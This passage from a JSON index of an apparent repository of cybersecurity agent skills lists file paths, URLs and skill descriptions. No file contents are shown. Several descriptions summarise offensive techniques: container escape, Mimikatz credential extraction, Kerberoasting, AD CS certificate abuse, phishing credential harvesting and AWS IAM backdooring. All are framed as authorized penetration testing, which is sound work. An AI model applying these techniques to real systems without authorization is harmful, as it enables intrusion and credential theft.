and persistence mechanisms and you are ready to eradicate and recover.","domain":"cybersecurity","subdomain":"incident-response","tags":["incident-response","eradication","malware-removal","persistence","dfir"],"mitre_attack":["T1486","T1490","T1070","T1078","T1547"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2198,"sizeBytes":8734},{"name":"api-reference.md","path":"skills/escaping-containers-to-host/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/escaping-containers-to-host/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fescaping-containers-to-host%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":776,"sizeBytes":2526},{"name":"standards.md","path":"skills/escaping-containers-to-host/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/escaping-containers-to-host/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fescaping-containers-to-host%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":748,"sizeBytes":2311},{"name":"SKILL.md","path":"skills/escaping-containers-to-host/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/escaping-containers-to-host/SKILL.md","title":"escaping-containers-to-host","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fescaping-containers-to-host%2FSKILL.md -->","frontmatter":{"name":"escaping-containers-to-host","description":"Exploits privileged pods, host mounts, runC CVEs, and exposed Docker sockets to break out of a container and reach the underlying host during an authorized container-security assessment. Use when executing an approved breakout test, demonstrating the real impact of a privileged or hostPath workload, or validating that escape mitigations actually hold. Keywords: container breakout, privileged, hostPath, docker.sock, runC CVE-2019-5736, CVE-2024-21626, release_agent, nsenter. Do not use for defensive detection of these techniques - use detecting-container-escape-attempts.","domain":"cybersecurity","subdomain":"container-security","tags":["container-escape","privileged-container","runc-cve","docker-socket","host-mount","kubernetes","privilege-escalation","breakout"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01"],"mitre_attack":["T1611"]},"isInternal":false,"tokens":3680,"sizeBytes":13596},{"name":"api-reference.md","path":"skills/evaluating-threat-intelligence-platforms/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/evaluating-threat-intelligence-platforms/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fevaluating-threat-intelligence-platforms%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":788,"sizeBytes":2780},{"name":"SKILL.md","path":"skills/evaluating-threat-intelligence-platforms/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/evaluating-threat-intelligence-platforms/SKILL.md","title":"evaluating-threat-intelligence-platforms","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fevaluating-threat-intelligence-platforms%2FSKILL.md -->","frontmatter":{"name":"evaluating-threat-intelligence-platforms","description":"Evaluates and selects Threat Intelligence Platform (TIP) products based on organizational requirements including feed integration capability, STIX/TAXII support, workflow automation, analyst interface, and total cost of ownership. Use when conducting a TIP procurement, migrating between TIP solutions, or assessing whether the current TIP meets program maturity requirements. Activates for requests involving ThreatConnect, MISP, OpenCTI, Anomali, EclecticIQ, or TIP procurement decisions.\n","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["TIP","ThreatConnect","MISP","OpenCTI","Anomali","EclecticIQ","STIX-TAXII","CTI-program","procurement"],"version":"1.0.0","author":"team-cybersecurity","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589"]},"isInternal":false,"tokens":1807,"sizeBytes":7435},{"name":"api-reference.md","path":"skills/executing-active-directory-attack-simulation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/executing-active-directory-attack-simulation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-active-directory-attack-simulation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":541,"sizeBytes":2020},{"name":"SKILL.md","path":"skills/executing-active-directory-attack-simulation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/executing-active-directory-attack-simulation/SKILL.md","title":"executing-active-directory-attack-simulation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-active-directory-attack-simulation%2FSKILL.md -->","frontmatter":{"name":"executing-active-directory-attack-simulation","description":"Executes authorized attack simulations against Active Directory environments to identify misconfigurations, weak credentials, dangerous privilege paths, and exploitable trust relationships that could lead to domain compromise. The tester uses BloodHound for attack path analysis, Mimikatz for credential extraction, and Impacket for protocol-level attacks including Kerberoasting, AS-REP Roasting, and delegation abuse. Activates for requests involving Active Directory pentest, AD attack simulation, domain compromise testing, or Kerberos attack assessment.\n","domain":"cybersecurity","subdomain":"penetration-testing","tags":["Active-Directory","BloodHound","Mimikatz","Kerberoasting","domain-compromise"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation"],"nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1003"]},"isInternal":false,"tokens":3205,"sizeBytes":13759},{"name":"template.md","path":"skills/executing-nist-rmf-authorization-to-operate/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/executing-nist-rmf-authorization-to-operate/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-nist-rmf-authorization-to-operate%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1119,"sizeBytes":4344},{"name":"standards.md","path":"skills/executing-nist-rmf-authorization-to-operate/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/executing-nist-rmf-authorization-to-operate/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-nist-rmf-authorization-to-operate%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":1168,"sizeBytes":4750},{"name":"SKILL.md","path":"skills/executing-nist-rmf-authorization-to-operate/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/executing-nist-rmf-authorization-to-operate/SKILL.md","title":"executing-nist-rmf-authorization-to-operate","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-nist-rmf-authorization-to-operate%2FSKILL.md -->","frontmatter":{"name":"executing-nist-rmf-authorization-to-operate","description":"Drive a federal system through the NIST Risk Management Framework (SP 800-37 Rev 2) to an Authorization to Operate (ATO): Prepare, Categorize (FIPS 199), Select a control baseline (FIPS 200 / SP 800-53 Rev 5), Implement, Assess (SP 800-53A), Authorize, and Monitor continuously. Use when a system needs an ATO or a renewal, when working a FISMA/FedRAMP authorization package, when building or reviewing an SSP, SAR, or POA&M, when categorizing a system as Low/Moderate/High impact, when selecting or tailoring a control baseline, or when standing up continuous monitoring (ConMon) after authorization. Covers ATO, conditional ATO (cATO), and the artifacts assessors expect. Keywords: NIST RMF, 800-37, ATO, authorization to operate, FISMA, FedRAMP, SSP, SAR, POA&M, FIPS 199, FIPS 200, 800-53, 800-53A, control baseline, security categorization, continuous monitoring, authorizing official, system boundary, ongoing authorization.","domain":"cybersecurity","subdomain":"compliance-governance","tags":["nist-rmf","nist-800-37","ato","fisma","fedramp","nist-800-53","fips-199","ssp","poam","continuous-monitoring","governance"],"version":"1.0","author":"andrewibrah","license":"Apache-2.0","nist_csf":["GV.OC-03","GV.RM-01","ID.AM-08","ID.RA-05","PR.IR-01"],"mitre_attack":["T1078","T1190","T1068","T1210","T1486"]},"isInternal":false,"tokens":2203,"sizeBytes":8846},{"name":"api-reference.md","path":"skills/executing-phishing-simulation-campaign/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/executing-phishing-simulation-campaign/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-phishing-simulation-campaign%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":526,"sizeBytes":2065},{"name":"SKILL.md","path":"skills/executing-phishing-simulation-campaign/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/executing-phishing-simulation-campaign/SKILL.md","title":"executing-phishing-simulation-campaign","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-phishing-simulation-campaign%2FSKILL.md -->","frontmatter":{"name":"executing-phishing-simulation-campaign","description":"Executes authorized phishing simulation campaigns to assess an organization's susceptibility to email-based social engineering attacks. The tester designs realistic phishing scenarios, builds credential harvesting infrastructure, sends targeted phishing emails, and tracks open rates, click-through rates, and credential submission rates to measure human security awareness. Activates for requests involving phishing simulation, social engineering assessment, email security testing, or security awareness measurement.\n","domain":"cybersecurity","subdomain":"penetration-testing","tags":["phishing-simulation","social-engineering","GoPhish","email-security","security-awareness"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1003"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","resource-development","initial-access","positioning"],"techniques":[{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"},{"id":"T1583.001","name":"Acquire Infrastructure: Domains","tactic":"resource-development","source":"attack"},{"id":"T1557","name":"Adversary-in-the-Middle","tactic":"initial-access","source":"attack"},{"id":"F1004","name":"Access with Stolen Session Cookie","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":2712,"sizeBytes":12780},{"name":"template.md","path":"skills/executing-red-team-engagement-planning/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/executing-red-team-engagement-planning/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-engagement-planning%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1705,"sizeBytes":6830},{"name":"api-reference.md","path":"skills/executing-red-team-engagement-planning/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/executing-red-team-engagement-planning/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-engagement-planning%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":582,"sizeBytes":2273},{"name":"standards.md","path":"skills/executing-red-team-engagement-planning/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/executing-red-team-engagement-planning/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-engagement-planning%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":594,"sizeBytes":2798},{"name":"workflows.md","path":"skills/executing-red-team-engagement-planning/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/executing-red-team-engagement-planning/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-engagement-planning%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1470,"sizeBytes":6292},{"name":"SKILL.md","path":"skills/executing-red-team-engagement-planning/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/executing-red-team-engagement-planning/SKILL.md","title":"executing-red-team-engagement-planning","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-engagement-planning%2FSKILL.md -->","frontmatter":{"name":"executing-red-team-engagement-planning","description":"Build the foundational red team engagement plan - scope definition, Rules of Engagement (restrictions, communication plan, emergency stop procedures, legal authorization), MITRE ATT&CK-aligned threat profile selection, and operational timelines - producing an engagement brief for stakeholder approval. Use before any offensive testing begins, when scoping a full-scope, assumed-breach, objective-based, or purple-team engagement.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","adversary-simulation","mitre-attack","exploitation","post-exploitation","engagement-planning","rules-of-engagement"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078"]},"isInternal":false,"tokens":1435,"sizeBytes":6978},{"name":"api-reference.md","path":"skills/executing-red-team-exercise/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/executing-red-team-exercise/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-exercise%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":437,"sizeBytes":1771},{"name":"SKILL.md","path":"skills/executing-red-team-exercise/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/executing-red-team-exercise/SKILL.md","title":"executing-red-team-exercise","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-exercise%2FSKILL.md -->","frontmatter":{"name":"executing-red-team-exercise","description":"Run a stealthy, MITRE ATT&CK-mapped adversary emulation against an organization's people, processes, and technology, using C2 infrastructure (Cobalt Strike, Sliver, Brute Ratel, Mythic) through the full attack lifecycle to test SOC detection and response rather than just find vulnerabilities. Use when executing a full-scope red team exercise, adversary simulation/emulation, or a regulatory exercise (TIBER-EU, CBEST, AASE, iCAST) with executive authorization and a signed Rules of Engagement already in place.\n","domain":"cybersecurity","subdomain":"penetration-testing","tags":["red-team","adversary-emulation","MITRE-ATT&CK","Cobalt-Strike","detection-assessment"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"],"nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1592"]},"isInternal":false,"tokens":2782,"sizeBytes":13155},{"name":"template.md","path":"skills/exploiting-active-directory-certificate-services-esc1/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-active-directory-certificate-services-esc1/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-certificate-services-esc1%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":314,"sizeBytes":1285},{"name":"api-reference.md","path":"skills/exploiting-active-directory-certificate-services-esc1/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-active-directory-certificate-services-esc1/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-certificate-services-esc1%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":638,"sizeBytes":2201},{"name":"standards.md","path":"skills/exploiting-active-directory-certificate-services-esc1/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-active-directory-certificate-services-esc1/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-certificate-services-esc1%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":279,"sizeBytes":1144},{"name":"workflows.md","path":"skills/exploiting-active-directory-certificate-services-esc1/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-active-directory-certificate-services-esc1/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-certificate-services-esc1%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":477,"sizeBytes":1971},{"name":"SKILL.md","path":"skills/exploiting-active-directory-certificate-services-esc1/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-active-directory-certificate-services-esc1/SKILL.md","title":"exploiting-active-directory-certificate-services-esc1","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-certificate-services-esc1%2FSKILL.md -->","frontmatter":{"name":"exploiting-active-directory-certificate-services-esc1","description":"Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","active-directory","ad-cs","esc1","certificate-abuse","privilege-escalation","domain-escalation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Certificate Analysis","Content Format Conversion","File Content Analysis","Platform Hardening"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1068"]},"isInternal":false,"tokens":1877,"sizeBytes":7874},{"name":"template.md","path":"skills/exploiting-active-directory-with-bloodhound/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-active-directory-with-bloodhound/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-with-bloodhound%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":499,"sizeBytes":1821},{"name":"api-reference.md","path":"skills/exploiting-active-directory-with-bloodhound/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-active-directory-with-bloodhound/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-with-bloodhound%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":683,"sizeBytes":2331},{"name":"standards.md","path":"skills/exploiting-active-directory-with-bloodhound/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-active-directory-with-bloodhound/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-with-bloodhound%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":776,"sizeBytes":3526},{"name":"workflows.md","path":"skills/exploiting-active-directory-with-bloodhound/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-active-directory-with-bloodhound/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-with-bloodhound%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1779,"sizeBytes":6274},{"name":"SKILL.md","path":"skills/exploiting-active-directory-with-bloodhound/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-active-directory-with-bloodhound/SKILL.md","title":"exploiting-active-directory-with-bloodhound","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-with-bloodhound%2FSKILL.md -->","frontmatter":{"name":"exploiting-active-directory-with-bloodhound","description":"BloodHound is a graph-based Active Directory reconnaissance tool that uses graph theory to reveal hidden and unintended relationships within AD environments. Red teams use BloodHound to identify attac","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","adversary-simulation","mitre-attack","exploitation","post-exploitation","active-directory","bloodhound"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Restore Access","Password Authentication","Biometric Authentication","Strong Password Policy","Restore User Account Access"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1592"]},"isInternal":false,"tokens":1146,"sizeBytes":5135},{"name":"api-reference.md","path":"skills/exploiting-adcs-with-certipy/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-adcs-with-certipy/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-adcs-with-certipy%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":949,"sizeBytes":3299},{"name":"standards.md","path":"skills/exploiting-adcs-with-certipy/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-adcs-with-certipy/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-adcs-with-certipy%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":274,"sizeBytes":1158},{"name":"SKILL.md","path":"skills/exploiting-adcs-with-certipy/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-adcs-with-certipy/SKILL.md","title":"exploiting-adcs-with-certipy","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-adcs-with-certipy%2FSKILL.md -->","frontmatter":{"name":"exploiting-adcs-with-certipy","description":"Use Certipy to enumerate AD CS certificate authorities and templates over LDAP/RPC, then exploit ESC1-ESC16 misconfigurations - SAN abuse, NTLM relay to web enrollment (ESC8), Shadow Credentials, golden certificate forgery, and PKINIT/Schannel auth. Use during authorized penetration tests to escalate a domain foothold to Domain Admin, or to validate that certificate template ACLs and CA hardening detect these attacks.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","active-directory","adcs","certipy","esc1","esc8","privilege-escalation","pkinit"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-05"],"mitre_attack":["T1649"]},"isInternal":false,"tokens":2720,"sizeBytes":10646},{"name":"api-reference.md","path":"skills/exploiting-api-injection-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-api-injection-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":587,"sizeBytes":2135},{"name":"SKILL.md","path":"skills/exploiting-api-injection-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-api-injection-vulnerabilities/SKILL.md","title":"exploiting-api-injection-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-api-injection-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"exploiting-api-injection-vulnerabilities","description":"Tests API parameters, headers, and request bodies for injection flaws — SQL injection, NoSQL injection, OS command injection, LDAP injection, and SSRF — by crafting payloads tailored to the target backend to extract data, execute commands, or reach internal services, mapped to OWASP API8:2023 and API7:2023 SSRF. Use when performing SQLi, NoSQL injection, command injection, or SSRF testing against APIs, or assessing API input validation.","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","owasp","injection","sqli","nosql","ssrf","command-injection"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1055","T1059"]},"isInternal":false,"tokens":4504,"sizeBytes":19869},{"name":"api-reference.md","path":"skills/exploiting-aws-with-pacu/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-aws-with-pacu/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-aws-with-pacu%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":668,"sizeBytes":2529},{"name":"standards.md","path":"skills/exploiting-aws-with-pacu/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-aws-with-pacu/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-aws-with-pacu%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":336,"sizeBytes":1346},{"name":"SKILL.md","path":"skills/exploiting-aws-with-pacu/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-aws-with-pacu/SKILL.md","title":"exploiting-aws-with-pacu","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-aws-with-pacu%2FSKILL.md -->","frontmatter":{"name":"exploiting-aws-with-pacu","description":"Runs the Pacu AWS exploitation framework end-to-end — session and credential setup, IAM enumeration, automated privilege-escalation scanning via iam__privesc_scan, and persistence/backdooring modules like iam__backdoor_users_keys. Use for authorized AWS penetration tests or red-team engagements, assessing blast radius from a compromised IAM credential, or generating attacker telemetry for purple-team detection testing.","domain":"cybersecurity","subdomain":"cloud-security","tags":["pacu","aws","cloud-pentest","privilege-escalation","persistence","iam-abuse","offensive-security","red-team"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-05"],"mitre_attack":["T1078.004"]},"isInternal":false,"tokens":2563,"sizeBytes":10434},{"name":"api-reference.md","path":"skills/exploiting-bgp-hijacking-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-bgp-hijacking-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-bgp-hijacking-vulnerabilities%2Freferences%2Fapi-reference.md 